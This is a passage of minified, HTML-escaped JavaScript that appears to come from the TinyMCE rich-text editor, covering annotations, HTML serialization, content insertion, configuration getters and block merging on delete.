o(v([l]));for(n=e.findCommonAncestor(l,d),a=l;a;a=a.parentNode){if(a===d)return C(l,n,!0);if(a===n)break}for(a=d;a;a=a.parentNode){if(a===l)return C(d,n);if(a===n)break}r=b(l,n)||l,i=b(d,n)||d,C(l,r,!0),(s=y(r===l?r:r.nextSibling,&quot;nextSibling&quot;,i===d?i.nextSibling:i)).length&amp;&amp;o(v(s)),C(d,i)}},Fc=(Ms=mr,zs=&quot;text&quot;,{get:function(e){if(!Ms(e))throw new Error(&quot;Can only get &quot;+zs+&quot; value of a &quot;+zs+&quot; node&quot;);return Us(e).getOr(&quot;&quot;)},getOption:Us=function(e){return Ms(e)?_.from(e.dom().nodeValue):_.none()},set:function(e,t){if(!Ms(e))throw new Error(&quot;Can only set raw &quot;+zs+&quot; value of a &quot;+zs+&quot; node&quot;);e.dom().nodeValue=t}}),Mc=function(e){return Fc.get(e)},zc=function(r,o,i,a){return Vr(o).fold(function(){return&quot;skipping&quot;},function(e){return&quot;br&quot;===a||mr(n=o)&amp;&amp;&quot;\ufeff&quot;===Mc(n)?&quot;valid&quot;:dr(t=o)&amp;&amp;Gi(t,aa())?&quot;existing&quot;:Ju(o)?&quot;caret&quot;:wc.isValid(r,i,a)&amp;&amp;wc.isValid(r,lr(e),i)?&quot;valid&quot;:&quot;invalid-child&quot;;var t,n})},Uc=function(e,t,n,r){var o,i,a=t.uid,u=void 0===a?(o=&quot;mce-annotation&quot;,i=(new Date).getTime(),o+&quot;_&quot;+Math.floor(1e9*Math.random())+ ++ga+String(i)):a,s=function(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&amp;&amp;t.indexOf(r)&lt;0&amp;&amp;(n[r]=e[r]);if(null!=e&amp;&amp;&quot;function&quot;==typeof Object.getOwnPropertySymbols){var o=0;for(r=Object.getOwnPropertySymbols(e);o&lt;r.length;o++)t.indexOf(r[o])&lt;0&amp;&amp;Object.prototype.propertyIsEnumerable.call(e,r[o])&amp;&amp;(n[r[o]]=e[r[o]])}return n}(t,[&quot;uid&quot;]),c=ar.fromTag(&quot;span&quot;,e);Xi(c,aa()),wr(c,&quot;&quot;+sa(),u),wr(c,&quot;&quot;+ua(),n);var l,f=r(u,s),d=f.attributes,m=void 0===d?{}:d,g=f.classes,p=void 0===g?[]:g;return Nr(c,m),l=c,z(p,function(e){Xi(l,e)}),c},jc=function(i,e,t,n,r){var a=[],u=Uc(i.getDoc(),r,t,n),s=Hi(_.none()),c=function(){s.set(_.none())},l=function(e){z(e,o)},o=function(e){var t,n;switch(zc(i,e,&quot;span&quot;,lr(e))){case&quot;invalid-child&quot;:c();var r=Kr(e);l(r),c();break;case&quot;valid&quot;:var o=s.get().getOrThunk(function(){var e=ha(u);return a.push(e),s.set(_.some(e)),e});Pi(t=e,n=o),Fi(n,t)}};return Lc(i.dom,e,function(e){var t;c(),t=W(e,ar.fromDom),l(t)}),a},Vc=function(s,c,l,f){s.undoManager.transact(function(){var e,t,n,r,o=s.selection.getRng();if(o.collapsed&amp;&amp;(r=Pc(e=s,t=o,[{inline:!0}],3===(n=t).startContainer.nodeType&amp;&amp;n.startContainer.nodeValue.length&gt;=n.startOffset&amp;&amp;&quot;\xa0&quot;===n.startContainer.nodeValue[n.startOffset]),t.setStart(r.startContainer,r.startOffset),t.setEnd(r.endContainer,r.endOffset),e.selection.setRng(t)),s.selection.getRng().collapsed){var i=Uc(s.getDoc(),f,c,l.decorate);ya(i,&quot;\xa0&quot;),s.selection.getRng().insertNode(i.dom()),s.selection.select(i.dom())}else{var a=Yu.getPersistentBookmark(s.selection,!1),u=s.selection.getRng();jc(s,u,c,l.decorate,f),s.selection.moveToBookmark(a)}})};function Hc(s){var n,r=(n={},{register:function(e,t){n[e]={name:e,settings:t}},lookup:function(e){return n.hasOwnProperty(e)?_.from(n[e]).map(function(e){return e.settings}):_.none()}});da(s,r);var o=fa(s);return{register:function(e,t){r.register(e,t)},annotate:function(t,n){r.lookup(t).each(function(e){Vc(s,t,e,n)})},annotationChanged:function(e,t){o.addListener(e,t)},remove:function(e){ca(s,_.some(e)).each(function(e){var t=e.elements;z(t,ji)})},getAll:function(e){var t,n,r,o,i,a,u=(t=s,n=e,r=ar.fromDom(t.getBody()),o=Qi(r,&quot;[&quot;+ua()+&#039;=&quot;&#039;+n+&#039;&quot;]&#039;),i={},z(o,function(e){var t=Er(e,sa()),n=i.hasOwnProperty(t)?i[t]:[];i[t]=n.concat([e])}),i);return a=function(e){return W(e,function(e){return e.dom()})},vr(u,function(e,t){return{k:t,v:a(e,t)}})}}}var qc=function(e){return Xt.grep(e.childNodes,function(e){return&quot;LI&quot;===e.nodeName})},$c=function(e){return e&amp;&amp;e.firstChild&amp;&amp;e.firstChild===e.lastChild&amp;&amp;(&quot;\xa0&quot;===(t=e.firstChild).data||jo.isBr(t));var t},Wc=function(e){return 0&lt;e.length&amp;&amp;(!(t=e[e.length-1]).firstChild||$c(t))?e.slice(0,-1):e;var t},Kc=function(e,t){var n=e.getParent(t,e.isBlock);return n&amp;&amp;&quot;LI&quot;===n.nodeName?n:null},Xc=function(e,t){var n=_u.after(e),r=Js(t).prev(n);return r?r.toRange():null},Yc=function(t,e,n){var r,o,i,a,u=t.parentNode;return Xt.each(e,function(e){u.insertBefore(e,t)}),r=t,o=n,i=_u.before(r),(a=Js(o).next(i))?a.toRange():null},Gc=function(e,t){var n,r,o,i,a,u,s=t.firstChild,c=t.lastChild;return s&amp;&amp;&quot;meta&quot;===s.name&amp;&amp;(s=s.next),c&amp;&amp;&quot;mce_marker&quot;===c.attr(&quot;id&quot;)&amp;&amp;(c=c.prev),r=c,u=(n=e).getNonEmptyElements(),r&amp;&amp;(r.isEmpty(u)||(o=r,n.getBlockElements()[o.name]&amp;&amp;(a=o).firstChild&amp;&amp;a.firstChild===a.lastChild&amp;&amp;(&quot;br&quot;===(i=o.firstChild).name||&quot;\xa0&quot;===i.value)))&amp;&amp;(c=c.prev),!(!s||s!==c||&quot;ul&quot;!==s.name&amp;&amp;&quot;ol&quot;!==s.name)},Jc=function(e,o,i,t){var n,r,a,u,s,c,l,f,d,m,g,p,h,v,y,b,C,x,w,N=(n=o,r=t,c=e.serialize(r),l=n.createFragment(c),u=(a=l).firstChild,s=a.lastChild,u&amp;&amp;&quot;META&quot;===u.nodeName&amp;&amp;u.parentNode.removeChild(u),s&amp;&amp;&quot;mce_marker&quot;===s.id&amp;&amp;s.parentNode.removeChild(s),a),E=Kc(o,i.startContainer),S=Wc(qc(N.firstChild)),T=o.getRoot(),k=function(e){var t=_u.fromRangeStart(i),n=Js(o.getRoot()),r=1===e?n.prev(t):n.next(t);return!r||Kc(o,r.getNode())!==E};return k(1)?Yc(E,S,T):k(2)?(f=E,d=S,m=T,o.insertAfter(d.reverse(),f),Xc(d[0],m)):(p=S,h=T,v=g=E,b=(y=i).cloneRange(),C=y.cloneRange(),b.setStartBefore(v),C.setEndAfter(v),x=[b.cloneContents(),C.cloneContents()],(w=g.parentNode).insertBefore(x[0],g),Xt.each(p,function(e){w.insertBefore(e,g)}),w.insertBefore(x[1],g),w.removeChild(g),Xc(p[p.length-1],h))},Qc=function(e,t){return!!Kc(e,t)},Zc=Xt.each,el=function(o){this.compare=function(e,t){if(e.nodeName!==t.nodeName)return!1;var n=function(n){var r={};return Zc(o.getAttribs(n),function(e){var t=e.nodeName.toLowerCase();0!==t.indexOf(&quot;_&quot;)&amp;&amp;&quot;style&quot;!==t&amp;&amp;0!==t.indexOf(&quot;data-&quot;)&amp;&amp;(r[t]=o.getAttrib(n,t))}),r},r=function(e,t){var n,r;for(r in e)if(e.hasOwnProperty(r)){if(void 0===(n=t[r]))return!1;if(e[r]!==n)return!1;delete t[r]}for(r in t)if(t.hasOwnProperty(r))return!1;return!0};return!(!r(n(e),n(t))||!r(o.parseStyle(o.getAttrib(e,&quot;style&quot;)),o.parseStyle(o.getAttrib(t,&quot;style&quot;)))||yc(e)||yc(t))}},tl=function(e){var t=Qi(e,&quot;br&quot;),n=U(function(e){for(var t=[],n=e.dom();n;)t.push(ar.fromDom(n)),n=n.lastChild;return t}(e).slice(-1),wo);t.length===n.length&amp;&amp;z(n,Ui)},nl=function(e){zi(e),Fi(e,ar.fromHtml(&#039;&lt;br data-mce-bogus=&quot;1&quot;&gt;&#039;))},rl=function(n){Gr(n).each(function(t){Hr(t).each(function(e){Co(n)&amp;&amp;wo(t)&amp;&amp;Co(e)&amp;&amp;Ui(t)})})},ol=Xt.makeMap;function il(e){var u,s,c,l,f,d=[];return u=(e=e||{}).indent,s=ol(e.indent_before||&quot;&quot;),c=ol(e.indent_after||&quot;&quot;),l=ti.getEncodeFunc(e.entity_encoding||&quot;raw&quot;,e.entities),f=&quot;html&quot;===e.element_format,{start:function(e,t,n){var r,o,i,a;if(u&amp;&amp;s[e]&amp;&amp;0&lt;d.length&amp;&amp;0&lt;(a=d[d.length-1]).length&amp;&amp;&quot;\n&quot;!==a&amp;&amp;d.push(&quot;\n&quot;),d.push(&quot;&lt;&quot;,e),t)for(r=0,o=t.length;r&lt;o;r++)i=t[r],d.push(&quot; &quot;,i.name,&#039;=&quot;&#039;,l(i.value,!0),&#039;&quot;&#039;);d[d.length]=!n||f?&quot;&gt;&quot;:&quot; /&gt;&quot;,n&amp;&amp;u&amp;&amp;c[e]&amp;&amp;0&lt;d.length&amp;&amp;0&lt;(a=d[d.length-1]).length&amp;&amp;&quot;\n&quot;!==a&amp;&amp;d.push(&quot;\n&quot;)},end:function(e){var t;d.push(&quot;&lt;/&quot;,e,&quot;&gt;&quot;),u&amp;&amp;c[e]&amp;&amp;0&lt;d.length&amp;&amp;0&lt;(t=d[d.length-1]).length&amp;&amp;&quot;\n&quot;!==t&amp;&amp;d.push(&quot;\n&quot;)},text:function(e,t){0&lt;e.length&amp;&amp;(d[d.length]=t?e:l(e))},cdata:function(e){d.push(&quot;&lt;![CDATA[&quot;,e,&quot;]]&gt;&quot;)},comment:function(e){d.push(&quot;\x3c!--&quot;,e,&quot;--\x3e&quot;)},pi:function(e,t){t?d.push(&quot;&lt;?&quot;,e,&quot; &quot;,l(t),&quot;?&gt;&quot;):d.push(&quot;&lt;?&quot;,e,&quot;?&gt;&quot;),u&amp;&amp;d.push(&quot;\n&quot;)},doctype:function(e){d.push(&quot;&lt;!DOCTYPE&quot;,e,&quot;&gt;&quot;,u?&quot;\n&quot;:&quot;&quot;)},reset:function(){d.length=0},getContent:function(){return d.join(&quot;&quot;).replace(/\n$/,&quot;&quot;)}}}function al(t,g){void 0===g&amp;&amp;(g=di());var p=il(t);return(t=t||{}).validate=!(&quot;validate&quot;in t)||t.validate,{serialize:function(e){var f,d;d=t.validate,f={3:function(e){p.text(e.value,e.raw)},8:function(e){p.comment(e.value)},7:function(e){p.pi(e.name,e.value)},10:function(e){p.doctype(e.value)},4:function(e){p.cdata(e.value)},11:function(e){if(e=e.firstChild)for(;m(e),e=e.next;);}},p.reset();var m=function(e){var t,n,r,o,i,a,u,s,c,l=f[e.type];if(l)l(e);else{if(t=e.name,n=e.shortEnded,r=e.attributes,d&amp;&amp;r&amp;&amp;1&lt;r.length&amp;&amp;((a=[]).map={},c=g.getElementRule(e.name))){for(u=0,s=c.attributesOrder.length;u&lt;s;u++)(o=c.attributesOrder[u])in r.map&amp;&amp;(i=r.map[o],a.map[o]=i,a.push({name:o,value:i}));for(u=0,s=r.length;u&lt;s;u++)(o=r[u].name)in a.map||(i=r.map[o],a.map[o]=i,a.push({name:o,value:i}));r=a}if(p.start(e.name,r,n),!n){if(e=e.firstChild)for(;m(e),e=e.next;);p.end(t)}}};return 1!==e.type||t.inner?f[11](e):m(e),p.getContent()}}}var ul,sl=function(a){var u=_u.fromRangeStart(a),s=_u.fromRangeEnd(a),c=a.commonAncestorContainer;return sc.fromPosition(!1,c,s).map(function(e){return!Ts(u,s,c)&amp;&amp;Ts(u,e,c)?(t=u.container(),n=u.offset(),r=e.container(),o=e.offset(),(i=V.document.createRange()).setStart(t,n),i.setEnd(r,o),i):a;var t,n,r,o,i}).getOr(a)},cl=function(e){return e.collapsed?e:sl(e)},ll=jo.matchNodeNames(&quot;td th&quot;),fl=function(e,t){var n,r,o=e.selection.getRng(),i=o.startContainer,a=o.startOffset;o.collapsed&amp;&amp;(n=i,r=a,jo.isText(n)&amp;&amp;&quot;\xa0&quot;===n.nodeValue[r-1])&amp;&amp;jo.isText(i)&amp;&amp;(i.insertData(a-1,&quot; &quot;),i.deleteData(a,1),o.setStart(i,a),o.setEnd(i,a),e.selection.setRng(o)),e.selection.setContent(t)},dl=function(e,t,n){var r,o,i,a,u,s,c,l,f,d,m,g=e.selection,p=e.dom;if(/^ | $/.test(t)&amp;&amp;(t=function(e,t){var n,r;n=e.startContainer,r=e.startOffset;var o=function(e){return n[e]&amp;&amp;3===n[e].nodeType};return 3===n.nodeType&amp;&amp;(0&lt;r?t=t.replace(/^&amp;nbsp;/,&quot; &quot;):o(&quot;previousSibling&quot;)||(t=t.replace(/^ /,&quot;&amp;nbsp;&quot;)),r&lt;n.length?t=t.replace(/&amp;nbsp;(&lt;br&gt;|)$/,&quot; &quot;):o(&quot;nextSibling&quot;)||(t=t.replace(/(&amp;nbsp;| )(&lt;br&gt;|)$/,&quot;&amp;nbsp;&quot;))),t}(g.getRng(),t)),r=e.parser,m=n.merge,o=al({validate:e.settings.validate},e.schema),d=&#039;&lt;span id=&quot;mce_marker&quot; data-mce-type=&quot;bookmark&quot;&gt;&amp;#xFEFF;&amp;#x200B;&lt;/span&gt;&#039;,s={content:t,format:&quot;html&quot;,selection:!0,paste:n.paste},(s=e.fire(&quot;BeforeSetContent&quot;,s)).isDefaultPrevented())e.fire(&quot;SetContent&quot;,{content:s.content,format:&quot;html&quot;,selection:!0,paste:n.paste});else{-1===(t=s.content).indexOf(&quot;{$caret}&quot;)&amp;&amp;(t+=&quot;{$caret}&quot;),t=t.replace(/\{\$caret\}/,d);var h,v,y,b,C,x,w=(l=g.getRng()).startContainer||(l.parentElement?l.parentElement():null),N=e.getBody();w===N&amp;&amp;g.isCollapsed()&amp;&amp;p.isBlock(N.firstChild)&amp;&amp;(h=e,(v=N.firstChild)&amp;&amp;!h.schema.getShortEndedElements()[v.nodeName])&amp;&amp;p.isEmpty(N.firstChild)&amp;&amp;((l=p.createRng()).setStart(N.firstChild,0),l.setEnd(N.firstChild,0),g.setRng(l)),g.isCollapsed()||(e.selection.setRng(cl(e.selection.getRng())),e.getDoc().execCommand(&quot;Delete&quot;,!1,null),y=e.selection.getRng(),b=t,C=y.startContainer,x=y.startOffset,3===C.nodeType&amp;&amp;y.collapsed&amp;&amp;(&quot;\xa0&quot;===C.data[x]?(C.deleteData(x,1),/[\u00a0| ]$/.test(b)||(b+=&quot; &quot;)):&quot;\xa0&quot;===C.data[x-1]&amp;&amp;(C.deleteData(x-1,1),/[\u00a0| ]$/.test(b)||(b=&quot; &quot;+b))),t=b);var E,S,T,k={context:(i=g.getNode()).nodeName.toLowerCase(),data:n.data,insert:!0};if(u=r.parse(t,k),!0===n.paste&amp;&amp;Gc(e.schema,u)&amp;&amp;Qc(p,i))return l=Jc(o,p,e.selection.getRng(),u),e.selection.setRng(l),void e.fire(&quot;SetContent&quot;,s);if(function(e){for(var t=e;t=t.walk();)1===t.type&amp;&amp;t.attr(&quot;data-mce-fragment&quot;,&quot;1&quot;)}(u),&quot;mce_marker&quot;===(f=u.lastChild).attr(&quot;id&quot;))for(f=(c=f).prev;f;f=f.walk(!0))if(3===f.type||!p.isBlock(f.name)){e.schema.isValidChild(f.parent.name,&quot;span&quot;)&amp;&amp;f.parent.insert(c,f,&quot;br&quot;===f.name);break}if(e._selectionOverrides.showBlockCaretContainer(i),k.invalid){for(fl(e,d),i=g.getNode(),a=e.getBody(),9===i.nodeType?i=f=a:f=i;f!==a;)f=(i=f).parentNode;t=i===a?a.innerHTML:p.getOuterHTML(i),t=o.serialize(r.parse(t.replace(/&lt;span (id=&quot;mce_marker&quot;|id=mce_marker).+?&lt;\/span&gt;/i,function(){return o.serialize(u)}))),i===a?p.setHTML(a,t):p.setOuterHTML(i,t)}else!function(e,t,n){if(&quot;all&quot;===n.getAttribute(&quot;data-mce-bogus&quot;))n.parentNode.insertBefore(e.dom.createFragment(t),n);else{var r=n.firstChild,o=n.lastChild;!r||r===o&amp;&amp;&quot;BR&quot;===r.nodeName?e.dom.setHTML(n,t):fl(e,t)}}(e,t=o.serialize(u),i);!function(e,t){var n=e.schema.getTextInlineElements(),r=e.dom;if(t){var o=e.getBody(),i=new el(r);Xt.each(r.select(&quot;*[data-mce-fragment]&quot;),function(e){for(var t=e.parentNode;t&amp;&amp;t!==o;t=t.parentNode)n[e.nodeName.toLowerCase()]&amp;&amp;i.compare(t,e)&amp;&amp;r.remove(e,!0)})}}(e,m),function(n,e){var t,r,o,i,a,u=n.dom,s=n.selection;if(e){if(n.selection.scrollIntoView(e),t=function(e){for(var t=n.getBody();e&amp;&amp;e!==t;e=e.parentNode)if(&quot;false&quot;===n.dom.getContentEditable(e))return e;return null}(e))return u.remove(e),s.select(t);var c=u.createRng();(i=e.previousSibling)&amp;&amp;3===i.nodeType?(c.setStart(i,i.nodeValue.length),fe.ie||(a=e.nextSibling)&amp;&amp;3===a.nodeType&amp;&amp;(i.appendData(a.data),a.parentNode.removeChild(a))):(c.setStartBefore(e),c.setEndBefore(e)),r=u.getParent(e,u.isBlock),u.remove(e),r&amp;&amp;u.isEmpty(r)&amp;&amp;(n.$(r).empty(),c.setStart(r,0),c.setEnd(r,0),ll(r)||r.getAttribute(&quot;data-mce-fragment&quot;)||!(o=function(e){var t=_u.fromRangeStart(e);if(t=Js(n.getBody()).next(t))return t.toRange()}(c))?u.add(r,u.create(&quot;br&quot;,{&quot;data-mce-bogus&quot;:&quot;1&quot;})):(c=o,u.remove(r))),s.setRng(c)}}(e,p.get(&quot;mce_marker&quot;)),E=e.getBody(),Xt.each(E.getElementsByTagName(&quot;*&quot;),function(e){e.removeAttribute(&quot;data-mce-fragment&quot;)}),S=e.dom,T=e.selection.getStart(),_.from(S.getParent(T,&quot;td,th&quot;)).map(ar.fromDom).each(rl),e.fire(&quot;SetContent&quot;,s),e.addVisual()}},ml=function(e,t){var n,r,o=&quot;string&quot;!=typeof(n=t)?(r=Xt.extend({paste:n.paste,data:{paste:n.paste}},n),{content:n.content,details:r}):{content:n,details:{}};dl(e,o.content,o.details)},gl=/[\u0591-\u07FF\uFB1D-\uFDFF\uFE70-\uFEFC]/,pl=function(e,t,n){var r=e.getParam(t,n);if(-1!==r.indexOf(&quot;=&quot;)){var o=e.getParam(t,&quot;&quot;,&quot;hash&quot;);return o.hasOwnProperty(e.id)?o[e.id]:n}return r},hl=function(e){return e.getParam(&quot;iframe_attrs&quot;,{})},vl=function(e){return e.getParam(&quot;doctype&quot;,&quot;&lt;!DOCTYPE html&gt;&quot;)},yl=function(e){return e.getParam(&quot;document_base_url&quot;,&quot;&quot;)},bl=function(e){return pl(e,&quot;body_id&quot;,&quot;tinymce&quot;)},Cl=function(e){return pl(e,&quot;body_class&quot;,&quot;&quot;)},xl=function(e){return e.getParam(&quot;content_security_policy&quot;,&quot;&quot;)},wl=function(e){return e.getParam(&quot;br_in_pre&quot;,!0)},Nl=function(e){if(e.getParam(&quot;force_p_newlines&quot;,!1))return&quot;p&quot;;var t=e.getParam(&quot;forced_root_block&quot;,&quot;p&quot;);return!1===t?&quot;&quot;:t},El=function(e){return e.getParam(&quot;forced_root_block_attrs&quot;,{})},Sl=function(e){return e.getParam(&quot;br_newline_selector&quot;,&quot;.mce-toc h2,figcaption,caption&quot;)},Tl=function(e){return e.getParam(&quot;no_newline_selector&quot;,&quot;&quot;)},kl=function(e){return e.getParam(&quot;keep_styles&quot;,!0)},_l=function(e){return e.getParam(&quot;end_container_on_empty_block&quot;,!1)},Al=function(e){return Xt.explode(e.getParam(&quot;font_size_style_values&quot;,&quot;&quot;))},Rl=function(e){return Xt.explode(e.getParam(&quot;font_size_classes&quot;,&quot;&quot;))},Dl=function(e){return e.getParam(&quot;images_dataimg_filter&quot;,q(!0),&quot;function&quot;)},Ol=function(e){return e.getParam(&quot;automatic_uploads&quot;,!0,&quot;boolean&quot;)},Bl=function(e){return e.getParam(&quot;images_reuse_filename&quot;,!1,&quot;boolean&quot;)},Pl=function(e){return e.getParam(&quot;images_replace_blob_uris&quot;,!0,&quot;boolean&quot;)},Il=function(e){return e.getParam(&quot;images_upload_url&quot;,&quot;&quot;,&quot;string&quot;)},Ll=function(e){return e.getParam(&quot;images_upload_base_path&quot;,&quot;&quot;,&quot;string&quot;)},Fl=function(e){return e.getParam(&quot;images_upload_credentials&quot;,!1,&quot;boolean&quot;)},Ml=function(e){return e.getParam(&quot;images_upload_handler&quot;,null,&quot;function&quot;)},zl=function(e){return e.getParam(&quot;content_css_cors&quot;,!1,&quot;boolean&quot;)},Ul=function(e){return e.getParam(&quot;inline_boundaries_selector&quot;,&quot;a[href],code,.mce-annotation&quot;,&quot;string&quot;)},jl=function(e,t){if(!t)return t;var n=t.container(),r=t.offset();return e?Ta(n)?jo.isText(n.nextSibling)?_u(n.nextSibling,0):_u.after(n):Aa(t)?_u(n,r+1):t:Ta(n)?jo.isText(n.previousSibling)?_u(n.previousSibling,n.previousSibling.data.length):_u.before(n):Ra(t)?_u(n,r-1):t},Vl={isInlineTarget:function(e,t){return Lr(ar.fromDom(t),Ul(e))},findRootInline:function(e,t,n){var r,o,i,a=(r=e,o=t,i=n,U(Si.DOM.getParents(i.container(),&quot;*&quot;,o),r));return _.from(a[a.length-1])},isRtl:function(e){return&quot;rtl&quot;===Si.DOM.getStyle(e,&quot;direction&quot;,!0)||(t=e.textContent,gl.test(t));var t},isAtZwsp:function(e){return Aa(e)||Ra(e)},normalizePosition:jl,normalizeForwards:d(jl,!0),normalizeBackwards:d(jl,!1),hasSameParentBlock:function(e,t,n){var r=Ss(t,e),o=Ss(n,e);return r&amp;&amp;r===o}},Hl=function(e,t){return zr(e,t)?na(t,function(e){return No(e)||So(e)},(n=e,function(e){return Mr(n,ar.fromDom(e.dom().parentNode))})):_.none();var n},ql=function(e){var t,n,r;e.dom.isEmpty(e.getBody())&amp;&amp;(e.setContent(&quot;&quot;),n=(t=e).getBody(),r=n.firstChild&amp;&amp;t.dom.isBlock(n.firstChild)?n.firstChild:n,t.selection.setCursorLocation(r,0))},$l=function(i,a,u){return ru(sc.firstPositionIn(u),sc.lastPositionIn(u),function(e,t){var n=Vl.normalizePosition(!0,e),r=Vl.normalizePosition(!1,t),o=Vl.normalizePosition(!1,a);return i?sc.nextPosition(u,o).map(function(e){return e.isEqual(r)&amp;&amp;a.isEqual(n)}).getOr(!1):sc.prevPosition(u,o).map(function(e){return e.isEqual(n)&amp;&amp;a.isEqual(r)}).getOr(!1)}).getOr(!0)},Wl=function(e,t){var n,r,o,i=ar.fromDom(e),a=ar.fromDom(t);return n=a,r=&quot;pre,code&quot;,o=d(Mr,i),ra(n,r,o).isSome()},Kl=function(e,t){return Ha(t)&amp;&amp;!1===(r=e,o=t,jo.isText(o)&amp;&amp;/^[ \t\r\n]*$/.test(o.data)&amp;&amp;!1===Wl(r,o))||(n=t,jo.isElement(n)&amp;&amp;&quot;A&quot;===n.nodeName&amp;&amp;n.hasAttribute(&quot;name&quot;))||Xl(t);var n,r,o},Xl=jo.hasAttribute(&quot;data-mce-bookmark&quot;),Yl=jo.hasAttribute(&quot;data-mce-bogus&quot;),Gl=jo.hasAttributeValue(&quot;data-mce-bogus&quot;,&quot;all&quot;),Jl=function(e){return function(e){var t,n,r=0;if(Kl(e,e))return!1;if(!(n=e.firstChild))return!0;t=new go(n,e);do{if(Gl(n))n=t.next(!0);else if(Yl(n))n=t.next();else if(jo.isBr(n))r++,n=t.next();else{if(Kl(e,n))return!1;n=t.next()}}while(n);return r&lt;=1}(e.dom())},Ql=Ar(&quot;block&quot;,&quot;position&quot;),Zl=Ar(&quot;from&quot;,&quot;to&quot;),ef=function(e,t){var n=ar.fromDom(e),r=ar.fromDom(t.container());return Hl(n,r).map(function(e){return Ql(e,t)})},tf=function(o,i,e){var t=ef(o,_u.fromRangeStart(e)),n=t.bind(function(e){return sc.fromPosition(i,o,e.position()).bind(function(e){return ef(o,e).map(function(e){return t=o,n=i,r=e,jo.isBr(r.position().getNode())&amp;&amp;!1===Jl(r.block())?sc.positionIn(!1,r.block().dom()).bind(function(e){return e.isEqual(r.position())?sc.fromPosition(n,t,e).bind(function(e){return ef(t,e)}):_.some(r)}).getOr(r):r;var t,n,r})})});return ru(t,n,Zl).filter(function(e){return!1===Mr((r=e).from().block(),r.to().block())&amp;&amp;Vr((n=e).from().block()).bind(function(t){return Vr(n.to().block()).filter(function(e){return Mr(t,e)})}).isSome()&amp;&amp;(t=e,!1===jo.isContentEditableFalse(t.from().block().dom())&amp;&amp;!1===jo.isContentEditableFalse(t.to().block().dom()));var t,n,r})},nf=function(e,t,n){return n.collapsed?tf(e,t,n):_.none()},rf=function(e,t,n){return zr(t,e)?function(e,t){for(var n=D(t)?t:b,r=e.dom(),o=[];null!==r.parentNode&amp;&amp;r.parentNode!==undefined;){var i=r.parentNode,a=ar.fromDom(i);if(o.push(a),!0===n(a))break;r=i}return o}(e,function(e){return n(e)||Mr(e,t)}).slice(0,-1):[]},of=function(e,t){return rf(e,t,q(!1))},af=of,uf=function(e,t){return[e].concat(of(e,t))},sf=function(e){var t,n=(t=Kr(e),Y(t,Co).fold(function(){return t},function(e){return t.slice(0,e)}));return z(n,Ui),n},cf=function(e,t){var n=uf(t,e);return X(n.reverse(),Jl).each(Ui)},lf=function(e,t,n,r){if(Jl(n))return nl(n),sc.firstPositionIn(n.dom());0===U($r(r),function(e){return!Jl(e)}).length&amp;&amp;Jl(t)&amp;&amp;Pi(r,ar.fromTag(&quot;br&quot;));var o=sc.prevPosition(n.dom(),_u.before(r.dom()));return z(sf(t),function(e){Pi(r,e)}),cf(e,t),o},ff=function(e,t,n){if(Jl(n))return Ui(n),Jl(t)&amp;&amp;nl(t),sc.firstPositionIn(t.dom());var r=sc.lastPositionIn(n.dom());return z(sf(t),function(e){Fi(n,e)}),cf(e,t),r},df=function(e,t){return zr(t,e)?(n=uf(e,t),_.from(n[n.length-1])):_.none();var n},mf=function(e,t){sc.positionIn(e,t.dom()).map(function(e){return e.getNode()}).map(ar.fromDom).filter(wo).each(Ui)},gf=function(e,t,n){return mf(!0,t),mf(!1,n),df(t,n).fold(d(ff,e,t,n),d(lf,e,t,n))},pf=function(e,t,n,r){return t?gf(e,r,n):gf(e,n,r)},hf=function(t,n){var e,r=ar.fromDom(t.getBody());return(e=nf(r.dom(),n,t.selection.getRng()).bind(function(e){return pf(r,n,e.from().block(),e.to().block())})).each(function(e){t.selection.setRng(e.toRange())}),e.isSome()},vf=function(e,t){var n=ar.fromDom(t),r=d(Mr,e);return ta(n,_o,r).isSome()},yf=function(e,t){var n,r,o=sc.prevPosition(e.dom(),_u.fromRangeStart(t)).isNone(),i=sc.nextPosition(e.dom(),_u.fromRangeEnd(t)).isNone();return!(vf(n=e,(r=t).startContainer)||vf(n,r.endContainer))&amp;&amp;o&amp;&amp;i},bf=function(e){var n,r,o,t,i=ar.fromDom(e.getBody()),a=e.selection.getRng();return yf(i,a)?((t=e).setContent(&quot;&quot;),t.selection.setCursorLocation(),!0):(n=i,r=e.selection,o=r.getRng(),ru(Hl(n,ar.fromDom(o.startContainer)),Hl(n,ar.fromDom(o.endContainer)),function(e,t){return!1===Mr(e,t)&amp;&amp;(o.deleteContents(),pf(n,!0,e,t).each(function(e){r.setRng(e.toRange())}),!0)}).getOr(!1))},Cf=function(e,t){return!e.selection.isCollapsed()&amp;&amp;bf(e)},xf=function(a){if(!k(a))throw new Error(&quot;cases must be an array&quot;);if(0===a.length)throw new Error(&quot;there must be at least one case&quot;);var u=[],n={};return z(a,function(e,r){var t=gr(e);if(1!==t.length)throw new Error(&quot;one and only one name per case&quot;);var o=t[0],i=e[o];if(n[o]!==undefined)throw new Error(&quot;duplicate key detected:&quot;+o);if(&quot;cata&quot;===o)throw new Error(&quot;cannot have a case named cata (sorry)&quot;);if(!k(i))throw new Error(&quot;case arguments must be an array&quot;);u.push(o),n[o]=function(){var e=arguments.length;if(e!==i.length)throw new Error(&quot;Wrong number of arguments to case &quot;+o+&quot;. Expected &quot;+i.length+&quot; (&quot;+i+&quot;), got &quot;+e);for(var n=new Array(e),t=0;t&lt;n.length;t++)n[t]=arguments[t];return{fold:function(){if(arguments.length!==a.length)throw new Error(&quot;Wrong number of arguments to fold. Expected &quot;+a.length+&quot;, got &quot;+arguments.length);return arguments[r].apply(null,n)},match:function(e){var t=gr(e);if(u.length!==t.length)throw new Error(&quot;Wrong number of arguments to match. Expected: &quot;+u.join(&quot;,&quot;)+&quot;\nActual: &quot;+t.join(&quot;,&quot;));if(!J(u,function(e){return F(t,e)}))throw new Error(&quot;Not all branches were specified when using match. Specified: &quot;+t.join(&quot;, &quot;)+&quot;\nRequired: &quot;+u.join(&quot;, &quot;));return e[o].apply(null,n)},log:function(e){V.console.log(e,{constructors:u,constructor:o,params:n})}}}}),n},wf=function(e){return Is(e).exists(wo)},Nf=function(e,t,n){var r=U(uf(ar.fromDom(n.container()),t),Co),o=Z(r).getOr(t);return sc.fromPosition(e,o.dom(),n).filter(wf)},Ef=function(e,t){return Is(t).exists(wo)||Nf(!0,e,t).isSome()},Sf=function(e,t){return(n=t,_.from(n.getNode(!0)).map(ar.fromDom)).exists(wo)||Nf(!1,e,t).isSome();var n},Tf=d(Nf,!1),kf=d(Nf,!0),_f=(ul=&quot;\xa0&quot;,function(e){return ul===e}),Af=function(e){return/^[\r\n\t 